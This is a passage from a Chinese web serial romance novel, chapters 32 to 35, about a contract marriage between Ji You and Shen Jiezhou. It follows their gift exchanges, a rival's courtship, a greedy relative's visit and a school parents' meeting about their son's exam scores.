他也就不乱打主意了,就在这乖乖等着人回来,他看着沈介舟的脸色有种不好的预感,“她出的什么条件啊?价格很高吗?” 沈介舟:“……” 他不发一言,但能从愈发冷静的神色看出这次任务的失败。 不好的预感成真了。 因为颜乐知道,沈介舟就是心情越慌乱,表情越冷静的人物。 颜乐挠了挠头,配上这几天些许潦草的发型,他的动作甚至带着些抓耳挠腮的味道了。 因为这件事谈不妥,那就意味着他的工作也要变得繁忙起来了。 这和之前的悠闲吃利息过生活可不同。 沈介舟看了眼他,心情也有些沉闷。 等过了一段时间,宴会彻底收了尾。 纪悠给向晨吃了两片健胃消食片,她以前在没遇到向晨之前,从来没想到她会是溺爱孩子的类型。 她把手放在向晨胃的位置上揉了揉,这样同样也可以促进消化。 “妈妈,宴会要结束了吗?” “嗯,你都快要把糕点吃完了,宴会已经进行不下去了。” 纪向晨嘟嘟囔囔的,“明明是我看妈妈没有走的意思,才无聊地到处吃的。” 纪悠承认向晨的话,总是能出乎她的意料,让她的心情变得还不错。 她撩开纪向晨的刘海,能看到困顿地睁都睁不开的眼皮,“行了,别说话了,困了就睡吧。” 她没让司机来接她,反正有沈介舟在不是吗?这下好不容易一家四口稀奇地参与了同一件事。 那不一起回去怎么能说得过去。 纪悠抱着向晨抢先坐到后座,林叙白非常有眼色的坐在副驾驶。 等到家之后,两个孩子回屋,纪悠和沈介舟走到楼梯拐角,纪悠拦住了他想要直接会房间的动作。 “这是合约。” 沈介舟感受到胸口突然被拍了一下,这力道也是真不轻,他心跳的快,不用仔细检查,他都知道纪悠这是什么意思。 “真的是给我的?” 纪悠没否认,毕竟,“比起许总,我们才是真正的利益共同体吧。” 他们之间,有婚约。 沈介舟的遗产,以后也会给她和她的孩子。 她确实一早,就没有把这个给别人的打算。 沈介舟:“除了晚上说的那个之外,还有我能做的吗?” 纪悠喜欢沈介舟的识相,只是可惜他没答应她的要求。 不过她是真的想要那样吗?也不一定。 最后她只挑了下眉漫不经心地道,“那就按时按点的去接向晨吧,向晨说你总是要晚个三五分钟,让他等好久。” 沈介舟没想到居然只是这么轻松的事,至于那三五分钟,是他留给向晨走出校门的时间。 倒是没想到,他是提前放学,把走路的过程算在上学时间里的。 他捏了捏眉心,“好。” 第 32 章 更新(大修!!!!)…… 沈介舟坐在椅子上, 签了字的文件摆在他右手边,他此刻真的觉得他像极了吃软饭的软饭男。 他支着额头,在思考回礼的事。 但她平日里清水芙蓉, 不爱装饰,就连昨日的宴席也是, 不带任何的珠宝首饰。 所以他此刻完全看不出她需要什么。 如果是她在意的向晨的话,那他这阵子又失败的可以。 沈介舟过长的腿无处摆放,索性站起来思考, 最后他想起了手表和豪车。 手表可以让她用于实验, 豪车可以让她出行更便捷。 比起外在装饰, 她应该会喜欢实用派。 想到这些, 他在上班时候把事情吩咐下去后,就拿着卡来到了百货大楼。 门口的是金店,他们结婚的突然, 三金婚礼都没准备, 她并不需要, 而他则是觉得,这样的东西对他们俩的关系来说有些太过界了。 现在的话,他也该刻意避免去挑选这些才对。 他原本想淡定走过,直到他看见了个意外的人, 许清则。 许清则的声音清亮,离得远也能听得到。 “就是我想送给一个刁钻但聪明, 刻薄但优雅的一位漂亮女士,这样的话, 能让你帮我选个合适的嘛?” 这形容词,沈介舟就是光听也知道是谁。 他往前走了一段,他的眸色冷淡, 面露警告,“许总,你过界了。” 许清则稀罕地看人一眼,他可从没在这种享乐的地方看见沈介舟过,但他也不怕这时候遇见人。 “该给她买的人不买,那不该给她买的人给她补上有什么错。” 就许清则看到的,纪小姐身上可是一点首饰都没。 然而送首饰衣服,确实是身为丈夫的责任,外人给她买那就是搞暧昧的意思,两人显然都是这么认为的。 沈介舟垂眸,“如果是我,也算过界了。” 许清则皱着眉头,什么? 他仔细思考了一阵才明白是什么意思,他当然知道两人关系,毕竟当初林家大闹还是他认识纪悠的起因。 但是沈介舟对待这个新婚妻子就这么守礼? 许清则觉得好笑,“如果你不想履行夫妻义务我劝你还是赶紧离婚比较好,别耽误人家的幸福。” “我不会离婚,她也不会。” 许清则听见这声斩钉截铁的答案,然后想起了,当初他问纪悠,她也是这么回答的。 这其中的原因他仔细想想,也明白过来,还是在于那天林家的事。 只是沈介舟居然会把钱全都留给林墨的孩子?许清则简直难以置信,“你是疯了吗?你就没有自己的孩子要养吗?” 沈介舟对这个答案更笃定了,“没疯,不会有孩子。” 许清则气笑了,他歪着嘴手指上下指了沈介舟好几下,为了兄弟的儿子他居然能做到这一步吗?冤大头吗他? 还是说他不行? 但许清则也明白,他在意地并不是这件事本身。 而是如果沈介舟不打算要孩子,那代表着很大一部分钱就会留给她的孩子林向晨。 这么大的利益捆绑,这意味着两人之后的合作关系不可撼动。 许清则气急败坏的笑都挤不出来了,他顶着腮在心底咒骂了沈介舟这个神经病无数次。 离开的沈介舟挑选了一款德国的进口手表,女不女款无所谓,他觉得她或许更喜欢大表盘。 这是他的直觉。 至于首饰,手表背带是深檀色的,如果她实在不喜欢珠宝,或许哪天可以去买个开过光的檀木珠串保平安。 他付了钱,让柜台人员打包。 至于车,他自家公司就有,里面的发动机特别提醒了要纪悠制造出来的。 这下作为谢礼应该没这么寒酸了。 他打算好一切才回到家,却被一道身影拦住。 “好啊,这就是你说的没有钱?” 沈介舟提着礼物,他抿唇先称呼了下,“大舅妈。” 然后才道,“她平日里会给我些钱当做礼物钱,为的就是我平日给她买些礼物制造惊喜。” 他想,这很合理吧。 杨梅娟确实信了,顺道嫌弃一下沈介舟没男子气概还有纪悠事多。 “虽然你现在入赘了,但是你也在正经上班,那以前攒下来的积蓄也得有的吧。” 沈介舟无所谓道,“所以呢?” “所以你那些钱难道真的打算留给那两个臭小子?”这两个小孩一看就是那女人和她前夫生的,和沈介舟没半毛钱关系。 但是啊,这积攒下来的钱,无论怎么看。 “钱还是得留给自己血脉的孩子啊。” 她家有两个大孙子,可以把这个小的挂在沈介舟名下,以后啊,还给他养老。 就是打算给他过继一个,省的沈介舟生不出孩子,血脉都没法传承下去。 她想这很合理吧。 沈介舟淡定看人一眼,“我并不需要。” 杨梅娟有这种想法也不是一天两天了,这可能是第一次连小孩也带来了。 “你看啊,这小孩不比那两个臭小子乖多了,最关键的是,你们俩之间有血脉。” 杨梅娟拉着孩子就让人叫爸爸。 沈介舟捂住小孩嘴巴,脸上的耐心全无,“如果你敢叫我就把你嘴巴扇烂。” 孩子五岁半,被吓得厉害。 等沈介舟松了手就把小脚踹人身上了,杨梅娟也吓得捂住孩子的耳朵,在别墅门口,更是鬼哭狼嚎。 “你居然敢打孩子,你这狼心狗肺的东西,我妈她赚的钱辛辛苦苦给你治腿,你就是这么回报她的吗?” 虽然是别墅,人烟稀少,但看到八卦,还是第一时间围了上来。 沈介舟单手插兜,脸上的不耐烦看起来就更像一个没有良心的人渣了。 纪向晨这时候走出来,他双手抱胸。 “干什么呢这是?后爸你能不能把你家的事情处理好啊. 一天天的,要不是我妈当初帮你把即将破产的边缘拉回来,你能在我们家吃香的喝辣的,现在还想带着孩子吃香的喝辣的,分我的零食?!” 简直罪大恶极。 沈介舟明白这一出的意思,但向晨的指责还是太一阵见血了。 他无言笑笑,觉得自从见到这叶常宝的孩子之后,向晨的各种小动作都变得可爱起来了。 林叙白觉得轮到他出马了,他拉住向晨,“别这样,沈叔叔当初差点住桥洞了,结婚时和我妈说的又是无父无母,无亲无故,想来亲戚当时对他也是不管不问的。” 那现在过来攀亲戚就很有问题了。 杨梅娟的脸色瞬间绿了。 沈介舟当初有那种时候吗?但她确实只顾着家里他打回来的钱,没在意过人一点。 心虚让她后退半步。 众人就是一眼就明了了,所以这是不管不问的亲戚现在看人过的好过来捞好处了。 虽然是入赘,但无可奈何的时候周边人也总是会对他多几分宽容。 所以过了一会,人群就这样散去了。 纪向晨蹭蹭鼻子,对他刚刚的发挥很满意。 “后爸,那人刚刚说的治腿是怎么回事?” 沈介舟愣了一下,他下意识看向纪悠,说实话,他本以为这个问题该是她问的。 但自从两人逐渐摊牌后,她对他的探究就明显少了很多。 或许她当初是想着和他合作,但因为他的防备歇了这个心思? 从她刚到这的时候不否认有这个可能。 随即他又看向林叙白,叙白的脸色深沉,看不懂他在想什么。 等深夜,他提出要给叙白搓背,林叙白摇头,“如果沈叔叔还是穿的齐整的话就算了吧。” 他也不喜欢,对对方的一切一无所知,而对方却把他看了个干净。 这个潜台词沈介舟听懂了。 他愣了愣神,然后笑道,“我本身,就是打算对你坦诚的。” 不然,他也不会平白地提出这么个要求。 那既然如此,也不需要洗澡作为媒介了,别墅里吹着暖气,他在别墅里穿的不多。 他撩开腿,能从上面看到像蜈蚣一样蜿蜒扭曲的疤痕。 “在无论如何也要成为照顾你的人这点,它确实占了很大一部分。” 沈介舟想来想去,最后还是决定和林叙白坦诚。 就算对方生气怨怼,他也全盘接受。 毕竟他想,没有孩子,会接受身边的人给他的爱是有条件的吧。 但林叙白接受了,他勾起一抹笑,“我想我明白你总是用那样的眼神看我了。” 他攥紧了手掌,其实并不像表面上这样淡定,但他可以自己消化掉。 “什么眼神?” 林叙白无奈解释说,“和我爸一样的眼神。” 那种把他当做自己童年一样的投射,发誓要好好照顾他,给他最好的,这种心态他想爸爸和沈叔叔都有吧。 “我已经充分理解了,哪怕是生活中最亲密的人,他的爱也是有一定条件的。” 或许是成绩,或许是长相。 有那种全身心全盘爱着儿子的长辈,只是他,不是那个幸运儿。 沈介舟咽了下口水,“这种心情,应该不是你这个十岁小孩可以理解的。” “但妈妈她教会了我这一点。” 这恐怕是他人生中第一次叫妈妈,但是现在也只敢在背后偷偷的叫了。 他一直在想她为什么想着用他和沈叔叔结婚,但是却不在一开始,除了让沈叔叔无路可走这一点之外。 还有的就是希望他看清吧,或许他从头到尾都是傲慢的。 在‘后妈’这个称呼上,他和村子里的人完全是一个思想。 沈介舟抿唇,她,确实是个好的教育者。 他能被孩子原谅居然也是沾了她的光。 他深吸口气,随即从口袋里摸到礼物,他想起是了,礼物他还没送出去。 纪悠此刻在二楼阳台上看夜景。 沈介舟走上去坐在另一边,她对他的出现没有任何反应。 他换了三个姿势后,对纪悠说道。 “我以为,你会在这次人来的时候,让我配合你。” 毕竟那时候,她是把这点作为条件说出来的。 现在,却只是派两个孩子出马。 纪悠闻言挑眉,“怎么?很失望?” “没。” 纪悠又笑了一下,“毕竟兴致来的快,去的也快,谁知道我什么时候有心情呢,所以你也要好好把握机会才行呢。” 兴致去的快吗? 沈介舟抿唇,听到这话的第一瞬间是觉得有些刺耳。 他收敛起心神后,把口袋里的东西拿给她,“这是合约的回礼。” 一只手表,一台车。 纪悠无所谓地笑笑,“虽然给人说了是买给我的,但现在人都不在旁边了,也就不一定要送了。” 沈介舟不知道她是真这么以为,还是故意的。 毕竟从对方的神色中他鲜少猜出来。 但如果是从了解来看,她一定是故意的,其实这样也不好,这就意味着送的礼物,如今被蒙上一层不想要的外衣。 沈介舟握着车钥匙,或许是突然之间,觉得有些碍眼。 他直接放在中间放水果的小茶几上,“你平日里工作和照顾孩子都用的到的。” 他没再继续待,放在这就离开了。 纪悠拿起来看了一眼,觉得有他这么送礼物的吗? 但有用的东西,傻子才会拒绝。 比起她带给沈介舟的利益,这点东西只是冰山一角而已。 沈介舟回到房间,只觉得最近发生的事情太多,时常让他的心情就像过山车不稳定。 他对这种反应不太理解,也不太喜欢到处跟别人说。 隔天他去到公司,首先赶到的还是颜乐。 他穿着西装,能从如今不潦草沾满发胶的发型中感受到他的满血复活,颜乐想起对方昨天不在。 所以根本不知道昨天他们公司的市值升值了多少。 他激动地说,“看来弟妹她还是爱你的。” 爱? 沈介舟眼神扫过去,颜乐立马改口,“弟妹还是爱孩子的。” 确实啊,当初他怎么会想到弟妹会把合约给别人的可能性呢。 毕竟弟妹的亲生孩子可是在那摆着呢。 无论为了什么,也不能许清则这个人啊。 他姿态放松,看着沈介舟,只觉得无论他怎么说小沈的表情都不太好看。 “……要抽根烟吗?” “你是疯了吗?” 如果在他办公室抽烟的话,无论是谁?都会被他赶出去。 这个规矩颜乐不可能不知道。 颜乐却是松了一口气。“这才像你嘛。” 刚刚那样他差点以为沈介舟苦恼呢,但是这么大的问题解决了,他不懂对方在苦恼什么。 “那要开个聚会吗?公司里的人最近真是把皮都崩的紧紧的。” 生怕出一点差错,整个公司就都完了。 所以相应的,也该给点嘉奖,让他们都放松一下。 “我出钱,我不去。” 颜乐可不同意,“你这个老板不去,那他们还能玩得开心啊。” “你这说的像话吗?” 正常来说,就是老板不去,底下的人才能玩得开心吧。 但颜乐的目的也明确,似乎是觉得他崩的太紧了,想要他也放松一下。 沈介舟明白,但去聚会,不是他的放松方式就是了。 “我到时候开个包间,就我们俩。” “不了,找个偏僻的角落就是了。” 他的放松方式是一个人,但回到家,可不能让如今的他放轻松。 晚上的时间,颜乐和沈介舟各出一半,外面是包起来玩乐的,里面的角落,则相对安静一些。 颜乐凑上来,“到底怎么了?因为孩子。” 沈介舟明白他要不说个事,怕是今天一晚上就安静不了了,“叙白他太过早熟了。” 颜乐摆摆手,“没办法,毕竟是个天才嘛。” 天知道,在他知道这设备里面有林叙白的参与他有多吃惊,这么说,沈介舟去一趟乡下,就和两个万里挑一的天才成为家人了? 到底从哪个地方拜能让他的孩子也变得聪明一点啊。 辅导孩子作业这事他是一秒钟也不想继续干下去了。 沈介舟神色冷冷的,颜乐明白他又没把话说到人心坎里去。 他:“……” 以前就是这样,沉沉闷闷的,他就是想深入了解两人也被厚厚的心防隔绝在外。 现在的话,还是这样。 人怎么可以做到一点长进都没有? 颜乐眯起眼,“难道和弟妹有关?” “或许。” 沈介舟喝了杯水,看了眼时间便不打算久待,颜乐想拦都拦不住。 沈介舟坐在车里,他不打算跟颜乐说,就连他自己都说不清楚的事,又怎么能指望颜乐能听懂。 等回到家,他感受到他浑身燥热。 他全程没喝酒,那就只能是水里有问题。 很久没遇到过这种事了,这种事只在他事业刚起步的时候遇到的多。 他在思索是谁? 纪悠就是这时候出现的,这大概是沈介舟这时候最不想看见的人吧。 “怎么了?” “中招了。” 沈介舟明白,对待她没有什么遮掩的必要。 但只有一点,会觉得丢脸。 他垂着头单手撑在墙上,纪悠如他所愿的看不见他的表情。 现在的情况,去触碰也不太好。 纪悠站在原地纠结了一会,最后只是感叹,觊觎她孩子财产的人还真多,一个接着一个的,根本让人防不胜防啊。 接着沈介舟被打晕过去了,干净利落的。 —— 沈介舟皱着眉头醒来,他的脸色肉眼可见的白了一个度。 嘴唇抿的死紧,几乎是下意识地动作,他把桌上的属于林墨的那张照片盖了起来。 或许是觉得有些难堪吧—— 作者有话说:[菜狗][菜狗][菜狗]突然感觉想写的一些剧情在城里也能实现,就不用去乡下了。 至于男主,他的吊桥效应是公司啦。 女主要像天神一下出现在所有人面前 第 33 章 更新 沈介舟头有点疼, 他没喝酒,但在这之后的记忆消失了。 所以,是梦。 这下就算他再怎么遮掩也没办法抵赖, 他是对人有这个意思的。 大概是她太过迷人,而他又太过卑劣。 总之, 情况似乎朝着不可控的方向发展,沈介舟闭上眼,只觉得这样是绝对不行的。 房门被敲了敲, 纪悠走了进来。 “我昨天已经进来过一次了, 所以再进来也没什么的吧。” 沈介舟摇头, “我是你送进来的?” “对, 还是我抱进来的呢。” 其实她也纠结过要不要把人放在客厅,但那样一个中药的人放在外面太影响孩子们的身心健康了。 沈介舟不让她进,她的房间自然也不想让沈介舟进。 只能把人送回来了。 沈介舟疑惑道, “抱?” “公主抱, 其实我的力气还是蛮大的。”当然主要是抗, 抱着上楼梯太碍事了。 而他又是属于长手长脚的类型。 但就是光一段路,沈介舟也有些羞耻,但聪明人的做法是当做这一切都没发生过的转移话题。 “那你进来是为了叫我吃饭吗?” “不,我是想问你要怎么确保你不会有自己的亲生儿子。” 血脉上的过继被排除掉了, 那剩下的亲生孩子,就连以后的信息库如此全面、消息这么透明都还有人私生子不断。 那这时候的人, 想要隐藏那可要简单的多。 “我不会。” “许诺的话谁都会说。” 就比如她还说,今天指定不会吃炸鸡呢, 但她今天的安排就是和向晨一起去炸鸡店。 许诺就是用来被打破的。 “你放心,我结了扎。” 纪悠挑了下眉,好吧, 看来他对自己糟糕的血脉真是深恶痛绝,这样,她确实要放心些。 如果是在那个垃圾堆当众成长这样,那确实是一种突破了。 纪悠笑了笑,“或许你是中了基因彩票才说不定呢。” 沈介舟不置可否:“或许。” 如果是在今天之前,他或许还觉得基因确实没对他造成什么影响。 或许他也如颜乐说的一样道德败坏,和许清则并没有什么本质的不同。 现在的时间已经是中午了,能从电话里看见好几通电话留言,他一一回过去。 至于午饭,他只吃了两个螃蟹,毕竟他吃什么其实都是索然无味,不如机械化的动手还让他打发一下时间。 等收拾好,他走出房门能在门口看到一个金首饰礼盒,这个东西的出处他真是用膝盖想都能想到。 他给许清则打了通电话,电话那边稀奇的很。 “真是稀奇,居然能看到沈总给我打电话。” 沈介舟冷淡,“别装傻。” 他送这个东西,还送到他家里来,是个人也知道他的用心。 只是他已经把话说的够清楚明白了吧。 这种事还需要他说第二遍是个什么意思?“许清则,你别太过分了。” “我过分?沈总你们之间的婚姻,应该没有干涉对方的资格吧。” 他们之间,应该算是有钱人的协议婚姻。 那对方在外面玩,有什么追求者,和沈介舟根本半毛钱关系都没有,他这样,又怎么不算一种过界。 许清则在情场上脑袋可是要比沈介舟灵活太多了。 感受到对方哑口无言,许清则又道,“所以沈总,应该做不出断人姻缘这种事吧。” 其实也是许清则想的太多,上次沈介舟也算是提醒他了,或许结婚真的能让两人牢牢绑定在一起,但是利益同样也要平均分配。 就算不考虑林叙白,他的钱必须要给向晨一部分,但他的钱,又必须要给他家的两个孩子准备够。 至少他作为父亲,这是他应该做到的。 所以只是追求,应该也没多少关系吧。 许清则想明白了,就把买的礼物直接地送过去了。 他想,沈介舟他或许会有男性的不爽和竞争,但他一直信奉的道德标准也不像是会把礼物扔掉的人。 沈介舟确实没有扔掉,他把东西放回原位,开着车走了。 或许秉承着眼不见为净的原则,他把东西放在门后面了,沈介舟看向窗外,觉得事情发展到这一步真的糟糕的可以。 今天在下午的时候下了雨,雾蒙蒙的,沈介舟收到了个包裹。 里面的东西和早上他看到的是一模一样的。 总不能是许清则在办公室又送了一份,或许是她认为这是他送的,在提醒他过界了的事…… 沈介舟抿唇,把东西重新包裹起来放在脚边准备当场还给许清则。 他询问秘书,“去帮我打听一下许总现在在哪里?” 这并不难查,因为许清则的举动向来高调。 秘书很快查到,“在辉月餐厅。” “那我下了班去找他。” “沈总,可是那是情侣餐厅啊。”秘书震惊沈总居然连这点都不知道,还说要去找他。 光想想就知道当时的场面肯定会很尴尬的就是了。 沈介舟想的不光是这一层,还有他和谁一起去情侣餐厅,无论怎么想,他都觉得不能有第二人选。 但是许清则说的话也不是一点道理都没有。 他的过分干预,其实也是一种过界。 他转了转手表上的表带,然后拿起车钥匙。 辉月餐厅是阁楼式,好的位置都是在窗户边能够看到明月的位置,现在这天,确实是星星最亮的季节。 在窗户口关着窗,还不用体会在外面的冷空气。 沈介舟坐在车内,能从窗户那看到许清则确实在和纪悠吃饭,确实,在他眼中,她没有答应的理由,同样地,也没有拒绝的理由。 做事完全随心,确实符合她平日里做人做事的性格。 沈介舟把车内的温度调高了一点,然后开车走了。 纪悠坐在餐厅里,说是大餐厅,但是品类单调的可以,她完全吃不出来有什么好的。 包括身边的向晨也是。 他竖着叉子,“牛排居然是这么难咬的东西吗?” 不如他的油爆大虾,糖醋排骨。 纪悠深深点头,“下次请客可以按照这些特色菜来。” 她其实还是喜欢中式餐馆。 这种地方,也就是情侣之间有点情调了,纪悠当然知道这是什么意思了,在对方抛出‘搞暧昧’的信号后。 她带着孩子的回应就是‘纯吃饭’。 她没有点破,因为她在平日里过多打击许清则之后,把合作给了他的对手沈介舟。 许清则在情场上面一直是春风得意,所以她选择给对方留点面子,用来维护对方岌岌可危的自尊。 还有一个点就是,她发现许清则送的首饰居然换了位置。 她看向楼下,此刻刚巧看到沈介舟离开的身影。 纪悠笑了笑,悠闲地喝了一口红酒。 —— 沈介舟站在别墅门口,屋内亮着灯。 他记得孟姨这时候应该根据人数给他们家做晚餐。 所以现在就他和叙白在家吃。 他们俩都口味都是以清淡为主,所以今天的晚餐也比较好做。 但坏就坏在平日里做重油重盐的口味做多了,孟姨多放了点盐进去,尝着和平日里完全不一样。 沈介舟看着紧张的孟姨摇了摇头,“没事。” 他什么也都能吃一点,但随即他夹菜的动作顿了顿,觉得重油重盐的菜吃多了,偶尔还是要清清肠胃的。 于是让孟姨给他拿了碗清水。 他打算过滤一下再吃。 “我记得孟姨你也是再婚家庭对吗?” 孟姨点头,对,她的前夫是个喝多了酒就家暴的人渣,时不时的就抢走她辛辛苦苦做盒饭挣的那些钱。 等花了这么多钱,算蜕了一层皮才离的婚。 最后的结果就是没地方住,嫁了人的女孩哪有一直待在家的,容易被说闲话的。 她就这么又被赶了出来,嫁给了这个带这个姑娘性格稳妥的老实人。 沈介舟忍不住问,“有感情吗?” “这哪有什么感情,就是他跑大车,我顾着两个孩子,现在我挣得多了,他跑大车跑的少了,现在就在家多带点孩子。” 所以都是搭伙过日子,要问感情,那也太奢侈了点吧。 “都是为了孩子?” “是啊,不然谁愿意跑几百公里嫁给他啊。” 当初嫁给他,就是她瞧着,这个男人是她认识的人中对孩子最好,还不重男轻女的一个。 所以啊,结婚这东西,就是看到他的优缺点才能把日子过好啊。 沈介舟抿唇,“……” 确实,他们也是这样,明了的事,他又在想什么? 如果按照向晨的话说,就是他又自作多情了。 见孟姨还有要说的打算,沈介舟忍不住提醒,“孟姨,我记得厨房里还有个水果没拿,你去把它拿过来吧。” 第 34 章 更新 纪悠能闻到对面喷的男士香水的味道, 有些呛鼻,更大的感觉是花里胡哨。 这样一比,沈介舟给的东西要实在的多。 偏偏对面还一无所知的问起, “你觉得这次我准备的约会怎么样?” 纪悠沉吟了一下,她都没想到她是这么给人留面子了, 居然还有送上门来找骂的。 她直言道,“如果你不准备的话我们之间的合作还能延续的更久一点。” 许清则有些难以置信,主要难以置信地地方在于他平日里的无往不利。 他静心准备的烛光晚餐竟然成了减分项。 他上下打量了下自己, “我就这么差?” “劝你有点自知之明。” 许清则:“……” 真是又一次的体会到了纪悠的刻薄。 但他确实从利益角度是趴在人身上拿好处, 从家庭方面他有两个孩子, 从生活上更是花天酒地, 承担不起家庭责任。 好像确实,也没有什么值得纪悠挂念的点。 “至少我长的还可以,身材也不错。” 纪悠打了个暂停的手势, “在孩子面前说什么呢?” 许清则觉得对方这么顾左右而言他, 一定也是有潜台词的吧。 他面露期待, “所以?” “不行。” 许清则背靠在座椅上,可真是有些稀奇,他纳闷地把杯子里剩余的酒一饮而尽,这可是他鲜少有的挫败的时候。 等回到家, 家里鲜少的亮着灯。 昭然喜欢待在岳家,很少回家睡, 言疏喜欢和他的那些朋友待在一起,说是朋友, 但其实是结交人脉。 这点上,真是像他像的可以。 所以他也放手的交给人去做,这还是第一次在这个点看到家里有人在的。 客厅里亮着灯, 更像是专门等他的。 果然刚进门,许言疏就抱胸道,“我劝你还是别往情色上下功夫了。” 据他了解到的,纪悠和林叙白虽然不是亲母子,但性格很像,都不喜欢虚伪。 许清则继续这样做只会让人更反感而已。 许清则的态度还是那一套,“你个小孩懂什么?” “我是提醒你,别把好好的合作给弄吹了。” 许言疏收了试卷,也不耐烦地睨了自家老爸一眼。 许清则在玄关处愣了好大一会,什么‘在小孩面前说什么呢’,现在看来,现在的小孩,想法可真多着呢。 不过,言疏是怎么知道他和纪悠的合作的? 许清则杵在原地,有些怀疑人生。 —— 沈介舟看了眼时间,只觉得时间很晚了,想必晚上是不会回来了。 许清则说得对,一直以来,是他过界了。 先是欠着孩子的事,后是欠着公司的事,总归是有一大笔债是需要还给纪悠的,如果是用自己卑劣的感情回报,那才是恩将仇报。 他没回屋,只是坐在客厅里。 纪悠就是这时候回来的,梅开二度让她吓到的情绪少了些,无语的情绪多了些。 她把大衣随意挂着,“怎么了嘛?” 沈介舟下意识错开纪悠视线,他站起身,“没事,我先上楼。” 纪悠拦住了人,“等等,这样正好,有孩子的事要和你说。” 沈介舟的脚步迟疑,因为最近他应该没有什么忽略到向晨的事情。 “什么事?” “有个孩子的家长会需要你参加。” 家长会?沈介舟有点常识,知道一般这样代表着孩子的考试出了分数。 他用余光看了人一眼,他想就连刚刚他都没有这么心虚过。 “向晨考了多少分?” 纪悠没有给人准确答案,只是含糊的说了一句,“给你个惊喜。” 沈介舟咽了下口水,他在想到底是惊多还是喜多。 他感觉大概率是前者。 向晨的周遭完全都是些聪明人,完全搞不明白为什么独独向晨考不到好成绩。 沈介舟揉揉眉心,对家长会的态度是还没开始就已经感受到了头痛。 隔天,他带着向晨去到学校。 首先分到的是签了名的卷子,上面是纪悠在分数底下的签名,分数只有五分。 沈介舟觉得哪怕是十分的卷子,五分他都签不下来这个名字,更不要提这是一百的卷子。 他对她对孩子的宽容有了更清晰的认知。 但是他想,“至少进步了。” 记得上次是三分。 坐在他旁边的纪向晨补充道,“其实是退步了。” 沈介舟并不知道向晨私下里考过六分的事,事到如今,只有疑惑。 他把试卷翻过来,颇有眼不见为净的意思。 三年级五班的座位不是按照成绩排,但坐在最后一排的学生大概率也不是什么好学生,沈介舟能从身旁家长的脸色看出愁眉苦脸。 他想了想之后道,“我家孩子只有五分,你家孩子呢。” “八分。” 沈介舟觉得这倒数第一的宝座向晨是稳坐了,“那你打算怎么教育孩子?” 隔壁家长是爸爸,他解释说,“正常在我家是我的七匹狼还没掏出来,孩子妈的教鞭就已经打在孩子身上了。” 他家孩子妈是当老师的。 事到如今,沈介舟也只能感叹一句家家有本难念的经。 在他这,如果他敢掏出七匹狼,孩子妈首先要教训的就是他了。 有了这个成绩,他理所当然地被老师约谈了。 “沈先生,你对林向晨的分数是怎么看的呢?” 沈介舟沉吟了一会,选择纠正对方的称呼,“他姓纪。” “胡说什么呢,我才不姓纪!” 纪向晨坚决维护‘纪’氏家族的声誉。 老师有点看不懂了,但他可以选择把话题拉回到正轨,“孩子的成绩还是需要重视的。” 沈介舟皱着眉头,他现在不太赞同老师只关注学生成绩的这一点。 向晨不是这学校里所有人以为的这么差。 “孩子的成就应该不只是学习一条路。” “你是指体育生、艺术生?” 响应国家号召是可以让大学收一些这样的学生来实现德智体美劳的全面发展的。 但是,“就算是这些也是需要一定的文化课成绩的。” 老师说的含蓄,但潜台词大家也都明白,意思是就算是要走这些路数,向晨的正经科目还是需要好好学。 沈介舟微不可查的叹了口气,在校园闲逛的路上给向晨买了两瓶汽水。 这个天,他居然还非要喝冰镇的。 一喝喝两瓶,原因是这两瓶汽水味道不同,都想尝尝。 沈介舟摩挲了下手指,这是他习惯思考的小动作。 在临走前老师把私人联系的方式给了他,这种情况很常见,因为马上要到寒假了,老师会有寒假给人补习赚取外快的情况。 他从钱包里探出半截,然后被纪向晨阻止,“我才不会答应呢。” 这代表着他要牺牲寒假玩乐的时间,去补习班规规矩矩的上课。 这和坐牢有什么区别。 “成绩毕竟还是需要提升的。” 纪向晨喝了一口汽水,瞥了沈介舟一眼,“这不是还有你吗?” 他可是记得沈介舟可是说好要教他的啊,这可不能临时反悔。 沈介舟深吸口气,他觉得这个任务真是艰巨的可以,但是如果向晨真的有向上的心的话。 而且他在意改姓这事,他不想让人知道。 沈介舟仔细思衬了下,选择同意。 结果他头点到半截的时候纪向晨问了,“你是什么学历?” “没学历。” “那你读过书吗?” “读到小学三年级就肄业了。” 纪向晨震惊地用手指指来指去,那他们俩岂不是一样,他就这样让沈介舟来教他,不会把他带到沟里去吧。 虽然他没说出口,但是眼神中就是表达着这个意思。 沈介舟闭上眼,“……” 他当时是逼不得已,而且他当时的成绩很好。 纪向晨眼神亮亮的,他从来没想到他苦苦寻觅的身边那个成绩不好的那个伙伴居然在这里。 虽然年龄大了点,但他觉得也没事! 纪向晨把手里的汽水分给他半瓶,“要喝吗?” “不用。” 沈介舟没心情,但表面上他还是找了个更体面一些的借口,“我不喝凉的东西。” 纪向晨第一次示好居然吃了个软钉子,“你这个年纪大的还真是事多。” 沈介舟有一刻想要伸手接过的冲动,但看到这小半瓶,最后还是理智大过了情绪,他站起身,“我们去看看五年级的家长会吧。” 他来参加向晨的,那她应该会参加叙白的。 毕竟叙白这么聪明,是个明显的天才少年,从近期的种种,还算是她带着的她的徒弟。 沈介舟去到五年级一班,然后疑惑地到处看看。 “她没来吗?” 林叙白摇头,“是我的家长会还没开始。” 因为老师有限,一个老师一般带好几个班,好一点的老师更是香馍馍。 虽然只任课一个班的班主任,但作为优秀教师,要每个班的家长会都参与一下给人露个脸。 似乎是说曹操曹操就到。 纪悠姗姗来迟,她穿着长袖长裤,把头发挽起,比起平日里的雷厉风行,多了份温润有礼。 纪向晨震惊地瞪大眼睛,妈妈居然穿的这么好看? 可恶啊,也就是他成绩差,不舍得让妈妈丢这个脸。 不然也不会让林叙白捡到这个便宜。 沈介舟先是愣了愣,等注意到向晨的神色继而安慰道,“她等会要参与个剪彩礼。” 她一直知道什么场合该办什么事,所以虽然也是自在,但还是要根据场合稍稍改变一下妆容。 纪向晨兴致缺缺,“我知道。” 沈介舟看不起作用继续道,“我打扮的也不差的。” 纪向晨撇撇嘴,“毕竟我们同病相怜,你是在为你小时候做个纪念吧。” 沈介舟:“……” 总感觉对方误会了什么,但是没法说。 纪悠也注意到这里的动静,看了一大一小一眼好笑道,“怎么感觉你们俩的关系好了很多。” 沈介舟扶额,此刻更是不知道该说些什么才好—— 作者有话说:能力不足怕日六时常改文[爆哭][爆哭][爆哭] 之后看灵感更新,状态好会多写,抱歉抱歉 第 35 章 更新 林叙白左右看了两人几眼, 然后垂眸思索了一阵,“向晨的这次考试考的怎么样?” 纪向晨伸出一只手掌,五个手指直挺挺的竖着。 五十? 同样没及格, 但对比之前真是进步的太快了。 